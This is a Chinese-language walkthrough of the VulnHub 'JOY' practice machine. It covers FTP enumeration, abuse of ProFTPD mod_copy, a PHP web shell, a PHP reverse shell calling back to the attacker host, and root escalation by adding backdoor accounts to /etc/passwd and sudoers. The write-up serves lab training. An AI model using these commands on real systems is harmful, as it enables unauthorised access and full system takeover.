vulnhub靶场之【digitalworld.local系列】的JOY靶机

前言

靶机:digitalworld.local-joy,IP地址为192.168.10.8

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

shell 复制代码
nmap -sT 192.168.10.8 --min-rate=1000  -p- -T4 -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

shell 复制代码
nmap -sU 192.168.10.8 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp端口,进行处理,只取端口号

shell 复制代码
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=21,22,25,80,110,139,143,445,465,587,993,995

对特定的端口号进行深入探测

shell 复制代码
nmap -sV -O -sC -sT 192.168.10.8 -p $ports -oA detail

对特定的端口号进行漏洞检测

shell 复制代码
nmap --script=vuln 192.168.10.8 -p $ports -oA vuln

FTP探测

根据前面的扫描,FTP可能存在匿名访问,进行测试一下

shell 复制代码
ftp [email protected]
#密码为空,直接回车即可

连接后,发现两个目录,一个downloadupload,发现只有upload目录下有文件,那么切换到upload,并下载其所有文件

shell 复制代码
ftp> ls -la
ftp> cd upload
ftp> prompt
ftp> mget *

查看directory文件,发现该文件是patrick的目录

这个文档中的信息,有很多,首先就是文件名,怀疑可能是某些密码,保存下来

复制代码
21of1MpiDdVvvYLjo4AhHCecLJo3NgD0jffaKqiFYUyBTQ6CLXclayRkalxCOKf8
9FSVhszYzcRO20fKcv9688Z5fOs4th4P
cfIz4HeRZ3xDLuyX0NVpGDYENn510l9S
JIjoSjMXYEdbF4Nlutkoe0HY3WDTstaYBzeqqgqHpAUWiadJvSJm3GhAtYclakIS
KlooiPobIYqCt3Drm0aHYCyAjRMQjbhIc9QQ8EjeV8d97OPBCBBdqfxxxy7sh8Nj
LztsbkkhKLpxTzx4b4qRBK44hTDqr7cG

且在后面还有系统信息

Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux

继续查看其他文件,发现大部分无用,不过在project_zoo文档中,发现多信息,疑似可能有用

把这些信息都保存在words.txt

smb探测

使用enum4linux进行枚举,枚举出的只有两个分享print$IPC$,用户枚举出两个,一个patrickftp

使用nmap的脚本进行测试,发现结果与enum4linux差不多

shell 复制代码
nmap --script=smb* 192.168.10.8

网站探测

访问80端口的http服务,有一个目录ossec

点击ossec,可以看到是某个cms

使用gobuster进行目录爆破

shell 复制代码
gobuster dir -u http://192.168.10.8/ossec -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

发现README,尝试访问,发现具体的cms的版本信息,ossec web ui v0.8

以及ossec的版本处于>=0.9-3

使用searchsploit搜索有无漏洞可利用,不过可以看到并无需要的,两个本地提权,一个拒绝服务

shell 复制代码
searchsploit ossec

测试网站的php文件,也没有测试到隐藏的传参,路径遍历也没有。

网站能点的都点了,也没有用

ssh探测

这里尝试进行ssh连接,以之前的words.txt中的数据作为密码,尝试爆破patrick,但是没有结果,尝试搜索漏洞,dropbear,虽然有相关漏洞,但是查看具体内容,发现并不适合当前所用

FTP再探

使用nmap具体扫描一下ftp

shell 复制代码
nmap -sV --script=ftp* 192.168.10.8 -p 21

其他协议该重测的都重测了,这里只有这个在尝试nctelnet连接后,输入help有提示命令

这里就是通过ftp协议直接连接与其他方式的不同之处了,ftp连接后相当于直接进入文件管理,而telnet连接,其本身就相当于远程登录,所以不一样。

不过这里在测试很多命令后,有些命令无权使用,只能看看目录等,并且大部分的命令需要登录,不过登录后,也就是以anonymous登录后,还是不能用的很多。

不过对于这些命令,尝试搜索一下功能,发现site这个是用于发送特定于服务器的站点命令,不同服务器对其实现可能不同,用法可以site help

再次搜索CPFRCPTO及其他子命令,发现有意思

命令 功能 用法示例
SITE CPFR <sp> pathname 指定要复制的源文件路径,用于后续文件复制操作 SITE CPFR /home/user/source.txt
SITE CPTO <sp> pathname 指定复制的目标文件路径,与 SITE CPFR 配合完成文件复制 SITE CPTO /home/user/destination.txt
SITE HELP 获取服务器支持的 SITE 子命令的帮助信息 SITE HELP
SITE CHGRP 更改远程服务器上文件或目录的所属组 SITE CHGRP newgroup /home/user/test.txt
SITE CHMOD 修改远程服务器上文件或目录的权限 SITE CHMOD 755 /home/user/test.txt

根据目前来说,当前获取到一个shell或者能够登录到靶机是要做的

之前在ftp连接后的一个文件directory,其中是patrick的目录,这应该是个用户,因为在文件中发现了.ssh,所以猜测路径应该是/home/patrick

尝试复制这个路径下的一些文件,根据前面enum4linux枚举的用户来看,有ftp,应该是和patrick同级别的,那么其目录可能也是/home/ftp

因为当前可查看到文件的,只能通过ftp下载到本地,所以知道ftp目录很关键。

ftp目录不是这个,还可以百度一下,其默认的路径。若还不是,就另寻路线了

这时候前面使用nmap扫描的ftp信息出来了,具体版本为proftpd 1.2.10,然后使用searchsploit搜索,发现并未合适的,再通过百度和google搜索,发现有趣的东西

在1.1.5版本及以下,mod_copy模块存在一个重大安全漏洞,允许远程攻击者通过site cpfrsite cpto命令读取和写入任意文件。未经验证的客户端可以利用这些命令,在文件系统中自由地复制文件,操作权限等同于运行ProFTPd服务的用户------通常是'nobody'用户。通过将PHP负载复制到网站目录并利用/proc/self/cmdline,攻击者可以实现PHP远程代码执行。

漏洞利用

那么就尝试,首先需要明白,就是未授权的复制,所以这里复制一些信息到ftp目录

shell 复制代码
site cpfr /home/patrick/.ssh
site cpto /home/ftp/download/ssh

site cpfr /home/patrick/version_control
site cpto /home/ftp/download/version_control

成功了,啧,那么应该可以修改一些配置文件,比如ssh的连接配置,修改后,使得可以指定某些用户可以登录,先查看文件是否有想要的

啧,patrick中的.ssh文件夹中是空的,可能没有公私钥吧

查看version_control,不要问为什么查看这个,我是把所以文件都看了,只有这个文件的内容有帮助

这里给出了网站的根目录,不再是默认的/var/www/html

这里尝试复制root下的文件,没想到可以,这个权限很高啊

不过复制/root下的文件后,也没有获取到shell,只是能看到,并且获取到root的三个私钥文件,但是连接ssh时就是不行,可能就是配置问题,但是网上搜索的默认的配置文件,测试后都没有,放弃这条路线

也就是获取到了密码或证书,都无法通过ssh登录

反弹shell

前面获取到的网站目录可能有大用

编写一个php代码,文件名为shell.php,因为网站的脚本语言是php

php 复制代码
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

通过ftp连接后上传,然后再通过telnet连接21端口,进行复制

可以看到有了,说明成功

访问shell.php后,尝试了bash、nc的几种反弹shell无效后,使用php

shell 复制代码
php -r '$sock=fsockopen("192.168.10.6",9999);exec("bash <&3 >&3 2>&3");'

先在kali开启监听

shell 复制代码
nc -lvnp 9999

这时候执行上面的php语句即可反弹成功

靶机内信息收集

查看网站中的目录,啧,真的是有内容,但是字典就是扫不出来啊

用户名 密码
patrick apollo098765
root howtheheckdoiknowwhattherootpasswordis

测试,patrick用户可以切换

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

提权

提权方法1,用sudoer指定的文件

使用sudo -l发现一个文件是可以的,并且是nopasswd的,不过此时没有这个文件夹的权限

使用sudo -u root 【文件】执行

再次执行,这里就是修改文件的权限的脚本,并且,是把用户的输入进行拼接到当前路径

那么使用../在拼接时,能否绕过呢,根据前面的提示,这里采用三个../

修改权限成功

既然如此,我直接把/bin/bash加个SUID权限不就可以了

这里这个脚本很强大,可以修改权限的,那么就可以随意修改了,这里加SUID权限是最便捷的。

还可以修改/etc/shadow文件的权限,然后去查看,再使用johnhashcat去破解,这个比较耗时间

还可以修改/etc/passwd文件,因为已经777了,所以直接添加一个

首先复制root/etc/passwd中的构造

shell 复制代码
root:x:0:0:root:/root:/bin/bash

然后在kali使用openssl生成一个密码

shell 复制代码
openssl passwd -6 123

$6$r9KLjdk5AsgDfU/k$4JwtAwJUiLll6epxebGXc5xIySOoO1NvolN5z5RLh6CYxqOXwbNroMbtpxKXCUlkhuCtRMCyHpklQMOwYMLnJ.

然后与上面的拼接一下,也就是root:x修改,这里的x就是表示密码存储在/etc/shadow文件中,若不是x,则是从这个文件中直接使用了

shell 复制代码
cat:$6$r9KLjdk5AsgDfU/k$4JwtAwJUiLll6epxebGXc5xIySOoO1NvolN5z5RLh6CYxqOXwbNroMbtpxKXCUlkhuCtRMCyHpklQMOwYMLnJ.:0:0:root:/root:/bin/bash

#使用echo时,这里一定要用单引号
echo 'cat:$6$r9KLjdk5AsgDfU/k$4JwtAwJUiLll6epxebGXc5xIySOoO1NvolN5z5RLh6CYxqOXwbNroMbtpxKXCUlkhuCtRMCyHpklQMOwYMLnJ.:0:0:root:/root:/bin/bash' >> /etc/passwd

这里甚至可以都试一遍,也就是网站gtfobins.github.io中有的,你就试吧,都加上suid权限都可,或者去修改/etc/sudoers文件,去添加吧

shell 复制代码
echo "patrick ALL=(ALL:ALL) ALL" >> /etc/sudoers

提权方式2

这里因为前面使用telnet连接21端口时,尝试使用cpfr、cpto时,发现可以覆盖文件,所以这里尝试覆盖一些文件,以达到提权的目的,不过这里因为ssh无法连接的原因,所以是建立在从网站获取shell后,而且方法也是与前面一致,通过复制对应的文件,然后在kali中修改,然后再通过复制进行覆盖原本的文件。

使用cpfr、cpto获取/etc/passwd/etc/sudoers文件

然后在kali中通过ftp协议连接靶机,下载到kali,然后修改文件内容,再把文件上传到ftp服务器中,在两个文件的后面加上下面的语句即可

shell 复制代码
#passwd,这里的密码与前面的cat是一样的
dog:$6$r9KLjdk5AsgDfU/k$4JwtAwJUiLll6epxebGXc5xIySOoO1NvolN5z5RLh6CYxqOXwbNroMbtpxKXCUlkhuCtRMCyHpklQMOwYMLnJ.:0:0:root:/root:/bin/bash

#sudoers
patrick ALL=(ALL:ALL) NOPASSWD: ALL

然后上传到ftp服务器

shell 复制代码
put passwd
put sudoers

然后通过telnet连接21端口后,进行复制覆盖

这时候再通过网站反弹的shell去测试即可,这里甚至可以不用到patrix,当然这里我省略了,可以自己去测试

总结

该靶机有几点值得思考:

  1. 对于网站,可能就不存在漏洞去测试,所以死磕的话,可能就会很费时间,不过这也是间接的考察,因为如果你测试完毕发现确实无漏洞的话,会自行换方向的
  2. 对于ftp的匿名登录后的信息,可能就会暴露一些敏感信息,这里就是暴露了kiaptrix的家目录,也就大致猜测路径后,获取到对应的信息
  3. 对于信息收集一定要全面,是一定要全面,这里因为我收集信息时,对于ftp的服务版本忽略,导致费了很长时间,虽然最终也测试到了cpfr、cpto的未授权执行,但是若是提前发现了proftp的版本,也就无需这么长时间了
  4. 对于ssh这里可能是配置问题,我没有继续测试,因为配置文件改变是需要重启服务的,这在现实中不可能
  5. 对于网站信息的根目录,并非都是默认的/var/www/html,这里就是自己更换的
  6. 靶机内的信息收集也要全面,不要错过,这里因为我是先看的网站目录,发现了敏感数据,所以没有进一步收集信息
  7. 提权,这个靶机内的提权,基本上是建立在获取patrick密码后的sudosudo -l的一个脚本文件,是可以修改文件的权限的,这就给予很大发挥空间。当然还有proftp的复制覆盖是可以直接添加用户的
相关推荐
云盾安全防护12 分钟前
CC攻击与WAF的对抗战
网络·安全·ddos
朱颜辞镜花辞树‎22 分钟前
Go爬虫开发学习记录
爬虫·学习·golang
DQI-king1 小时前
ZYNQ学习记录FPGA(二)Verilog语言
学习·fpga开发·zynq
蓝婷儿1 小时前
6个月Python学习计划 Day 18 - 项目实战 · 学生成绩管理系统(OOP版)
开发语言·python·学习
还是鼠鼠1 小时前
HTTP 请求协议简单介绍
java·开发语言·网络·网络协议·http
恰薯条的屑海鸥2 小时前
关于我对各开发语言的看法与接下来的文章内容
开发语言·学习·微信小程序·网站开发·全栈开发
哆啦A梦的口袋呀2 小时前
基于Python学习《Head First设计模式》第八章 模板方法模式
python·学习·设计模式
网硕互联的小客服2 小时前
如何在服务器上部署 Python Django 应用
linux·运维·服务器·网络·安全
渗透好难2 小时前
CTF show 数学不及格
安全·系统安全·密码学
百度安全3 小时前
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
安全·百度